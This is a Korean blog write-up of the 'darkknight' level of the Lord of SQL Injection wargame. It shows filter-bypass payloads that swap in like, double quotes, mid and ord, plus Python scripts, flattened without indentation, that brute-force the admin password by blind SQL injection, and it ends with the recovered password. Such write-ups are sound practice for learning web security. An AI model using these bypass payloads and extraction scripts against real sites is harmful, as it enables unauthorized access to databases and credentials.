admin의 pw를 맞춰야 해결이 가능하다.
no에서 substr, ascii등의 함수를 필터링하고 있다. = 등의 문자도 필터링하고 있다.
pw는 '를 필터링하고 있다.
이번에도 blind SQL인젝션 같은데 필터링이 많아져 복잡하다.
우선 여러가지로 시도해보았다. (=은 like로 우회했다.)
pw=2341&no=12 or id like admin %23
생각해보니까 더블쿼터를 필터링하지 않아 사용할 수 있을 것 같다.
pw=2341&no=12 or id like "admin" %23
이제 비밀번호를 알아내보자.
substr은 mid함수로, ascii는 ord함수로 우회할 수 있다.
https://g-idler.tistory.com/61
비밀번호 길이 알아내기
pw=2341&no=12 or id like "admin" and length(pw) like 8%23
비밀번호가 대부분 8자리였던 것 같아 8부터 입력했더니 역시 맞았다.
이제 파이썬으로 자동화 프로그램을 돌리면 알 수 있을 것이다.
mid함수와 ord함수를 사용해 스크립트를 짰는데 동작하지 않아서 left함수를 이용했다.
import requests
headers = {'Cookie' : 'PHPSESSID=세션값;'}
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
pw=''
for i in range(1, 9):
for ch in range(48, 123):
if 58 <= ch <= 96: continue
data = "?no=1 or left(pw,"+str(i)+") like \""+pw+str(ch)+"\"%23"
r = requests.get(url + data, headers = headers)
if 'Hello admin' in r.text:
pw = pw + chr(ch)
print(i, ':', pw)
break
print(i)
뭐가 문젠지 모르겠지만 비밀번호를 뱉어내지 않는다!!!
코드가 문제였나보다.
import requests
cookies={'PHPSESSID':'쿠키'}
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?'
pw=''
for i in range(1, 9):
for ch in range(48, 123):
if 58 <= ch <= 96: continue
value = "1 or id like \"admin\" and ord(mid(pw, {}, 1)) like {} #".format(i, ch)
params={"no":value}
r = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in r.text:
pw += chr(ch)
print(i,":", pw)
break
참고 : https://power-girl0-0.tistory.com/425
ord함수와 mid함수를 이용해 다시 짜보았다.
import requests
headers = {'Cookie' : '세션;'}
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
pw=''
for i in range(1, 9):
for ch in range(48, 123):
if 58 <= ch <= 96: continue
data = "?no=1 or id like \"admin\" and ord(mid(pw,{},1)) like {} %23".format(i, ch)
r = requests.get(url + data, headers = headers)
if 'Hello admin' in r.text:
pw = pw + chr(ch)
print(i, ':', pw)
break
성공했다!
?pw=0b70ea1f
'Web Hacking > LoS' 카테고리의 다른 글
[Lord of SQL Injection] los giant (0) | 2021.08.03 |
---|---|
[Lord of SQL Injection] los bugbear (0) | 2021.08.01 |
[Lord of SQLINJECTION] los golem (0) | 2021.07.11 |
[Lord of SQL Injection] los skeleton (0) | 2021.06.28 |
[Lord of SQL Injection] los vampire (0) | 2021.06.28 |